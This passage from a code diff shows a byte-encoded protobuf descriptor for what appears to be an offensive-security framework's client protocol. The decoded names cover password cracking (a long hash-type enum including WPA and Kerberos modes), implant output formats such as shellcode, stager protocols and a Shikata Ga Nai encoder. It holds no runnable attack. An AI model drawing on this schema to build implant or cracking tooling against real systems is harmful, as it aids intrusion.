0x50, + 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, + 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, + 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, + 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, + 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, + 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, + 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, + 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, + 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, + 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, + 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, + 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, + 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, + 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, + 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, + 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, + 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, + 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, + 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, + 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, + 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, + 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, + 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, + 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, + 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, + 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, + 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, + 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, + 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, + 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, + 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, + 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, + 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, + 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, + 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, + 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, + 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, + 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, + 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, + 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, + 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, + 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, + 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, + 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, + 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, + 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, + 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, + 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, + 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, + 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, + 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, + 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, + 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, + 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, + 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, + 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, + 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, + 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, + 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, + 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, + 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, + 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, + 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, + 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, + 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, + 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, + 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, + 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, + 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, + 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, + 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, + 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, + 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, + 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, + 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, + 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, + 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, + 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, + 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, + 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, + 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, + 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, + 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, + 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, + 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, + 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, + 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, + 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, + 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, + 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, + 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, + 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, + 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, + 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, + 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, + 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, + 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, + 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, + 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, + 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, + 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, + 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, + 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, + 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, + 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, + 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, + 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, + 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, + 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, + 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, + 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, + 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, + 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, + 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, + 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, + 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, + 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, - 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, - 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, - 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, - 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, - 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, - 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, - 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, - 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, - 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, - 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, - 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, - 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, - 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, - 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, - 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, - 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, - 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, - 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, - 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, - 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, - 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, - 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, - 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, - 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, - 0x53, 0x5f, 